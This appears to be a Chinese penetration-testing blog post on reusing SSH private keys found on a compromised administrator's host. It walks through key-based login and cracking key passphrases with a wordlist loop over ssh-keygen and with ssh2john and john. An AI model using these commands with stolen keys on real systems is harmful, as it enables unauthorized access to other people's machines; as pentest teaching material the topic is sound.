zoukankan      html  css  js  c++  java
  • 通过ssh证书远程登录

    在渗透中,经常会发现某管理员主机上保存了大量机器的公私钥用于ssh证书登录。这个时候可以通过这个证书进行远程登录。

    先回顾下证书登录通常的配置方法

    一、生成不带passphrase的公私钥证书实现免密登录:

    root@kali:~/.ssh# ssh-keygen 
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa): 
    Enter passphrase (empty for no passphrase): 
    Enter same passphrase again: 
    Your identification has been saved in /root/.ssh/id_rsa.
    Your public key has been saved in /root/.ssh/id_rsa.pub.
    The key fingerprint is:
    SHA256:ptikL9/0CSXOM2QrUcWyohUYhI4ofdgIZraTJdBwTjI root@kali
    The key's randomart image is:
    +---[RSA 2048]----+
    |Eooooo   ..      |
    |.@o.. . ...      |
    |==*+   ..o       |
    |++= o o..        |
    |. .. oo.S .      |
    |    .= O +       |
    |    o + O        |
    |    .. + = .     |
    |     oo . o      |
    +----[SHA256]-----+

    然后将生成的公钥拷贝到目标机器的authorized_keys文件中,可以手动拷贝,也可以通过ssh-copy-id命令进行

    运行ssh-keygen就可以自动生成公私钥,如下代码所示。注意加粗部分:大部分情况下,管理员为了实现免密登录,会在输入passphrase的时候直接回车跳过,只需要把生成的ids_rsa.pub放到目标机器的.ssh/authorized_keys中,这样在进行远程登录的时候就不在需要任何操作,直接运行以下命令即可登录成功

    ssh -i "ids_rsa文件路径"  "生成证书的用户名"@hostip
    
    #一般ids_rsa会直接生成在/home/用户名/.ssh目录下,这时候不需要通过i参数指定ids_rsa文件的位置

    这里authorized_keys文件权限要为600,.ssh文件夹权限要为700

    二、passphrase的破解

    但是,有些时候,管理员具备一定的安全意识,不会忽略这个passphrase,我们即使拿到了公私钥,没有这个passphrase也无法进行登录,这时候就需要进行破解,如下图所示

    1、先查看这个公私钥适用的用户:

    查看ids_rsa.pub文件,最后一段就是可以登录的用户,如下图所示,当前公私钥适用于user用户

    2、获取到适用的用户后,可以通过以下脚本破解passphrase,这里需要破解的目标文件是ids_rsa

    方法一:ssh-keygen爆破

    cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen -c -C "user@forandsix2" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done

    方法二:使用john爆破

    root@kali:~# ssh2john ./id_rsa > crack.txt
    root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
    root@kali:~# john crack.txt --show

    *注:方法一适用于字典较小情况下进行爆破的情况,遇到大规模字典还是要使用方法二来进行,且前者需要知道目标机器的hostname

     3、通过破解出来的passphrase进行登录即可

    ssh -i ids_rsa user@x.x.x.x

    部分参考自:https://hk.saowen.com/a/c99a2e09078b41f5e7c0fae6db217cfffc79aa487ef77ed63bd17d80ef4b3e14

  • 相关阅读:
    job owner的权限和sql agent start account权限在job调用和job执行的各个阶段起什么作用?
    【转帖】SharePoint 2010中的沙盒解决方案(Sandboxed Solution)
    [ZT]使用IIS作为宿主的WCF服务出现HTTP Error 404.3 Not Found错误的解决办法
    [zt]SharePoint Calculate date column 日期计算列(20100916 23:04:14)
    PortalSiteMapProvider was unable to fetch children for node
    [ZT]SharePoint列表导入/导出命令 SharePoint列表导入/导出命令
    [ZT]一个女IT民工的梦
    “System.Collections.Generic.IEnumerable<TestDAL.HistoryData>”不包含“ToList”的定义
    C#生成随机序列
    利用C#线程窗口调试多线程程序
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/10081873.html
Copyright © 2011-2022 走看看